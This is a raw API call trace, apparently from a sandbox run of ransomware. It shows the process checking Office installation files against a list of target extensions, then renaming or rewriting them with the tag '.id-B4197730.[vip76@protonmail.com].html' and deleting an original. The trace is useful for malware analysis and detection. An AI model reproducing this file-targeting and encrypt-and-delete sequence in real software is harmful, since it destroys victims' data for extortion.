	[0186.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0186.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.975] lstrlenW (lpString=".doc") returned 4
	[0186.975] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0186.975] lstrlenW (lpString=".docx") returned 5
	[0186.975] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0186.975] lstrlenW (lpString=".pdf") returned 4
	[0186.975] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0186.975] lstrlenW (lpString=".xls") returned 4
	[0186.976] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0186.976] lstrlenW (lpString=".xlsx") returned 5
	[0186.976] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0186.976] lstrlenW (lpString=".ppt") returned 4
	[0186.976] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0186.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.976] lstrlenW (lpString=".zip") returned 4
	[0186.976] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0186.976] lstrlenW (lpString=".rar") returned 4
	[0186.976] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0186.976] lstrlenW (lpString=".bz2") returned 4
	[0186.976] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0186.976] lstrlenW (lpString=".7z") returned 3
	[0186.976] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0186.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.976] lstrlenW (lpString=".dbf") returned 4
	[0186.976] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0186.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.976] lstrlenW (lpString=".1cd") returned 4
	[0186.976] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0186.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.976] lstrlenW (lpString=".jpg") returned 4
	[0186.976] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0186.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.977] lstrlenW (lpString=".doc") returned 4
	[0186.977] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0186.977] lstrlenW (lpString=".docx") returned 5
	[0186.977] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0186.977] lstrlenW (lpString=".pdf") returned 4
	[0186.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0186.977] lstrlenW (lpString=".xls") returned 4
	[0186.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0186.977] lstrlenW (lpString=".xlsx") returned 5
	[0186.977] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0186.977] lstrlenW (lpString=".ppt") returned 4
	[0186.977] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0186.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.977] lstrlenW (lpString=".zip") returned 4
	[0186.977] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0186.977] lstrlenW (lpString=".rar") returned 4
	[0186.977] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0186.977] lstrlenW (lpString=".bz2") returned 4
	[0186.977] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0186.977] lstrlenW (lpString=".7z") returned 3
	[0186.977] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0186.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.977] lstrlenW (lpString=".dbf") returned 4
	[0186.977] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0186.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.978] lstrlenW (lpString=".1cd") returned 4
	[0186.978] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0186.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0186.978] lstrlenW (lpString=".jpg") returned 4
	[0186.978] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0186.978] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0186.978] lstrlenW (lpString="AppVStreamMap.dll") returned 17
	[0186.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0187.105] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=194776) returned 1
	[0187.105] CloseHandle (hObject=0x5b4) returned 1
	[0187.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220
	[0187.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.988] lstrlenW (lpString=".doc") returned 4
	[0187.988] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.988] lstrlenW (lpString=".docx") returned 5
	[0187.988] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0187.988] lstrlenW (lpString=".pdf") returned 4
	[0187.988] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.988] lstrlenW (lpString=".xls") returned 4
	[0187.988] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.988] lstrlenW (lpString=".xlsx") returned 5
	[0187.988] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0187.989] lstrlenW (lpString=".ppt") returned 4
	[0187.989] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.989] lstrlenW (lpString=".zip") returned 4
	[0187.989] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.989] lstrlenW (lpString=".rar") returned 4
	[0187.989] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.989] lstrlenW (lpString=".bz2") returned 4
	[0187.989] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.989] lstrlenW (lpString=".7z") returned 3
	[0187.989] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.989] lstrlenW (lpString=".dbf") returned 4
	[0187.989] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.989] lstrlenW (lpString=".1cd") returned 4
	[0187.989] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.989] lstrlenW (lpString=".jpg") returned 4
	[0187.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.989] lstrlenW (lpString=".doc") returned 4
	[0187.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.989] lstrlenW (lpString=".docx") returned 5
	[0187.989] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0187.989] lstrlenW (lpString=".pdf") returned 4
	[0187.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.989] lstrlenW (lpString=".xls") returned 4
	[0187.990] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.990] lstrlenW (lpString=".xlsx") returned 5
	[0187.990] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0187.990] lstrlenW (lpString=".ppt") returned 4
	[0187.990] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.990] lstrlenW (lpString=".zip") returned 4
	[0187.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.990] lstrlenW (lpString=".rar") returned 4
	[0187.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.990] lstrlenW (lpString=".bz2") returned 4
	[0187.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.990] lstrlenW (lpString=".7z") returned 3
	[0187.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.990] lstrlenW (lpString=".dbf") returned 4
	[0187.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.990] lstrlenW (lpString=".1cd") returned 4
	[0187.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0187.990] lstrlenW (lpString=".jpg") returned 4
	[0187.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.990] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.990] lstrlenW (lpString="msvcp140.dll") returned 12
	[0187.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0188.095] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=439608) returned 1
	[0188.095] CloseHandle (hObject=0x5ac) returned 1
	[0188.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 0x220
	[0188.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.099] lstrlenW (lpString=".doc") returned 4
	[0188.099] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.099] lstrlenW (lpString=".docx") returned 5
	[0188.099] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.099] lstrlenW (lpString=".pdf") returned 4
	[0188.099] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.099] lstrlenW (lpString=".xls") returned 4
	[0188.099] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.099] lstrlenW (lpString=".xlsx") returned 5
	[0188.099] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.099] lstrlenW (lpString=".ppt") returned 4
	[0188.099] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.099] lstrlenW (lpString=".zip") returned 4
	[0188.099] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.100] lstrlenW (lpString=".rar") returned 4
	[0188.100] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.100] lstrlenW (lpString=".bz2") returned 4
	[0188.100] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.100] lstrlenW (lpString=".7z") returned 3
	[0188.100] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.100] lstrlenW (lpString=".dbf") returned 4
	[0188.100] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.100] lstrlenW (lpString=".1cd") returned 4
	[0188.100] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.100] lstrlenW (lpString=".jpg") returned 4
	[0188.100] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.100] lstrlenW (lpString=".doc") returned 4
	[0188.100] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.100] lstrlenW (lpString=".docx") returned 5
	[0188.100] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.100] lstrlenW (lpString=".pdf") returned 4
	[0188.100] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.100] lstrlenW (lpString=".xls") returned 4
	[0188.100] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.100] lstrlenW (lpString=".xlsx") returned 5
	[0188.100] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.100] lstrlenW (lpString=".ppt") returned 4
	[0188.101] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.101] lstrlenW (lpString=".zip") returned 4
	[0188.101] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.101] lstrlenW (lpString=".rar") returned 4
	[0188.101] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.101] lstrlenW (lpString=".bz2") returned 4
	[0188.101] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.101] lstrlenW (lpString=".7z") returned 3
	[0188.101] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.101] lstrlenW (lpString=".dbf") returned 4
	[0188.101] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.101] lstrlenW (lpString=".1cd") returned 4
	[0188.101] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0188.101] lstrlenW (lpString=".jpg") returned 4
	[0188.101] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.101] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0188.101] lstrlenW (lpString="SPPRedist.msi") returned 13
	[0188.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0188.102] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=12640256) returned 1
	[0188.102] CloseHandle (hObject=0x5ac) returned 1
	[0188.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0x220
	[0188.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0188.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.103] lstrlenW (lpString=".doc") returned 4
	[0188.103] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0188.103] lstrlenW (lpString=".docx") returned 5
	[0188.103] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0188.103] lstrlenW (lpString=".pdf") returned 4
	[0188.103] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0188.103] lstrlenW (lpString=".xls") returned 4
	[0188.103] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0188.103] lstrlenW (lpString=".xlsx") returned 5
	[0188.103] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0188.103] lstrlenW (lpString=".ppt") returned 4
	[0188.103] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0188.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.103] lstrlenW (lpString=".zip") returned 4
	[0188.103] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0188.103] lstrlenW (lpString=".rar") returned 4
	[0188.103] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0188.103] lstrlenW (lpString=".bz2") returned 4
	[0188.103] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0188.103] lstrlenW (lpString=".7z") returned 3
	[0188.103] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0188.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.103] lstrlenW (lpString=".dbf") returned 4
	[0188.103] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.104] lstrlenW (lpString=".1cd") returned 4
	[0188.104] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.104] lstrlenW (lpString=".jpg") returned 4
	[0188.104] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.104] lstrlenW (lpString=".doc") returned 4
	[0188.104] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0188.104] lstrlenW (lpString=".docx") returned 5
	[0188.104] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0188.104] lstrlenW (lpString=".pdf") returned 4
	[0188.104] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0188.104] lstrlenW (lpString=".xls") returned 4
	[0188.104] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0188.104] lstrlenW (lpString=".xlsx") returned 5
	[0188.104] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0188.104] lstrlenW (lpString=".ppt") returned 4
	[0188.104] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.104] lstrlenW (lpString=".zip") returned 4
	[0188.104] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0188.104] lstrlenW (lpString=".rar") returned 4
	[0188.104] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0188.104] lstrlenW (lpString=".bz2") returned 4
	[0188.104] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0188.104] lstrlenW (lpString=".7z") returned 3
	[0188.104] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.105] lstrlenW (lpString=".dbf") returned 4
	[0188.105] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0188.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.105] lstrlenW (lpString=".1cd") returned 4
	[0188.105] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0188.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0188.105] lstrlenW (lpString=".jpg") returned 4
	[0188.105] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0188.105] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0188.105] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0188.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0188.108] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1026422) returned 1
	[0188.109] CloseHandle (hObject=0x5ac) returned 1
	[0188.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 0x220
	[0188.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0188.109] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.109] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0188.113] GetLastError () returned 0x0
	[0188.113] ReadFile (in: hFile=0x5ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xfa976, lpOverlapped=0x0) returned 1
	[0188.444] WriteFile (in: hFile=0x588, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfa980, lpOverlapped=0x0) returned 1
	[0188.780] ReadFile (in: hFile=0x5ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.780] WriteFile (in: hFile=0x588, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0188.780] SetEndOfFile (hFile=0x588) returned 1
	[0188.780] CloseHandle (hObject=0x588) returned 1
	[0188.780] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.781] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.195] CloseHandle (hObject=0x5ac) returned 1
	[0189.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1
